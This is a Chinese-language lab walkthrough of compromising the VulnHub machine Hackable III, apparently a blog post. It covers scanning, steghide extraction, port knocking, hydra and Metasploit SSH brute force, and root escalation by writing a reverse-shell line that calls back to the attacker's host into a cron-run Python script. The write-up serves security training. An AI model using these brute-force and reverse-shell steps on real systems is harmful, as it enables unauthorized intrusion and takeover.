靶机下载地址: https://www.vulnhub.com/entry/hackable-iii,720/
教程链接地址: https://blog.csdn.net/weixin_44107836/article/details/119411475

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 HACKABLE3:桥接于 192.168.31.1 的网卡,ip 未知

识别同一网卡下的 ip 地址,并且过滤出提前已知的 MAC 地址,打印出所 有的机器的 ip 地址并扫描其端口,最后删除多余文件
sudo arp-scan -l > 1.txt ; cat 1.txt | grep 'a0' > 2.txt ; rm -f 1.txt ; cat 2.txt | awk '{print$1}' > ip.txt; rm -f 2.txt; sudo nmap -PA -iL ip.txt;rm -f ip.txt

-> 靶机 ip:192.168.31.47 靶机开放端口 80 (22 被过滤)

# 网站信息收集

打开 http://192.168.31.47/ 进行信息收集

Image

查看网页源码,提示需要尝试上次日记中使用过的端口碰撞技术来解锁

ssh 端口,并且告诉老板 approve.jpg,并且有一个公司域名 hackable3.com,此外还有一个用户名 jubiscleudo。

修改本地 hosts 文件,将 hackable3.com 解析到靶机 ip,打开 hackable3.com

Image

目录扫描 gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.47

查看目录:http://hackable3.com/login.php

Image

查看目录:http://hackable3.com/3.jpg

Image

这个 url 地址就很奇怪

# Steghide 图片隐写

此图片下载下来进行解析一番
wget [http://hackable3.com/3.jpg -q
steghide extract -sf 3.jpg

这里使用了文件隐写,Steghide 是一款开源的隐写术软件,它可以让你在一张图片或者音频文件中隐藏你的秘密信息,而且不会注意到图片或音频文件发生了任何的改变。而且,你的秘密文件已经隐藏在了原始图片或音频文件之中了。

Image

爆出了一个 65535 的端口,猜测是需要端口敲门的一个端口号

# 有效目录筛选

继续访问其他的 url 地址: http://hackable3.com/2.txt

Image

找到了 2.txt 这个文件,有 brainfuck 加密的一段密文,用在线网址进行解密

Image

发现了第二个数字 4444,继续对未搜寻的目标网址进行信息收集

http://hackable3.com/config/1.txt

Image

找到了 1.txt,直接通过终端进行 base64 解密,找到了第三个数字 10000

Image

查看目录:http://hackable3.com/config.php

Image

找到了一些数据库的配置信息,但是没有利用价值

查看目录:http://hackable3.com/backup/wordlist.txt

Image

找到一个可能是密码的一个清单

至此信息收集工作完毕,简单总结一下我们收集到的信息

http://hackable3.com/--> 疑似用户名 jubiscleudo
http://hackable3.com/backup/wordlist.txt --> 疑似密码清单
http://hackable3.com/config/1.txt --> 10000
http://hackable3.com/css/2.txt --> 4444
http://hackable3.com/3.jpg --> steghide extract -sf 3.jpg --> 65535

# shell 脚本端口敲门

knockd 服务:即敲门端口服务,该服务通过动态的添加 iptables 规则来隐藏系统开启的服务,使用自定义的一系列序列号来 “敲门”,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来 “关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性,它的默认配置文件是: /etc/knockd.conf

再次检查 22 端口确定是被过滤掉的

Image

尝试用 nmap 依次去访问信息搜集出来的三个端口进行端口敲门
sudo nmap -p 4444,10000,65535 -A 192.168.31.223

Image

-> 端口敲门失败了,可能是防火墙规则有一定的限制,比如两个端口之间的敲门间隔,两个端口之间的敲门顺序等

利用 shell 命令进行批量端口敲门
for i in 10000,4444,65535;do sudo nmap -p $i 192.168.31.48;done

Image

这种方法依次对三个端口进行敲门,不分前后顺序,所以敲门依旧失败了,将逗号去掉,依次对三个端口进行敲门
for i in 10000 4444 65535;do sudo nmap -p $i 192.168.31.48;done

Image

端口敲门成功后,就可以用字典进行爆破 ssh 协议了

# hydra 或 msf 爆破 ssh

用户名就用我们信息收集阶段收集到的敏感用户名 jubiscleudo,密码选取在网站上看到的疑似密码的文件
wget http://hackable3.com/backup/wordlist.txt -O passwd.txt

Image

使用 hydra 尝试 ssh 的爆破
hydra -l jubiscleudo -P wordlist.txt ssh://192.168.31.48 -t 4 -f -I -vV -o hydra.ssh

Image Image

-> 爆破成功,拿到了 jubiscleudo 用户的密码为 onlymy

也可以用 msfconsole 进行 ssh 的爆破

使用 msfconsole 的方法设置参数,如使用 ssh_login 的模块,设置攻击 ip,爆破成功后的行为,线程,日志,密码清单,密码用户等;可以通过 options 选项查看该设置哪些参数

1
2
3
4
5
6
7
8
9
# msfconsole
use scanner/ssh/ssh_login
set rhosts 192.168.31.48
set STOP_ON_SUCCESS yes
set THREADS 4
set VERBOSE true
set PASS_FILE /home/parallels/Desktop/tool/hackable3/wordlist.txt
set USERNAME jubiscleudo
run
Image

设置好参数之后通过 run 命令开始执行 payload

Image Image

-> 爆破成功之后爆出来了用户名和密码 jubiscleudo:onlymy

# 数据库备份文件泄露

登陆服务器 ssh 192.168.31.48 -l jubiscleudo

Image

对服务器的版本,SUID,pkexec,id 组,sudo,cron 检测后没有发现敏感文件,寻找服务器上是否有敏感的遗留文件

Image

在网站主目录下找到一个备份文件

Image

在此文件中看到了数据库的用户名和密码

-> (‘DB_USERNAME’, ‘hackable_3’);
-> (‘DB_PASSWORD’, ‘TrOLLED_3’);

mysql 尝试登录此数据库

Image

用 mysql 尝试登陆时却登陆失败了,那么这个用户名的意义何在?
查看一下此系统中存在哪些用户,发现就是有一个 hackable_3 的用户,直接切换到 hackable_3 用户成功

# 定时任务提权

看到 id 组属于 lxd,可以 lxd 提权,

Image

这里我们用其他方式提权,给靶机上下载一个 pspy64 s 的监控,看定时任务

Image

靶机上接受到 pspy64s 后,配置可执行权限开始跑程序

Image

有一个 python 脚本定时被执行

Image

尝试查看次文件时失败了,直接通过 cat 写反弹 shell 的脚本

1
2
3
4
cat > /scripts/to_hackable_3.py << EOF
import os
os.system("bash -c 'bash -i >& /dev/tcp/192.168.31.73/4444 0>&1' ")
EOF
Image

监听端口,等待 shell 反弹

Image

-> py 被执行后,成功拿到 root 权限

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝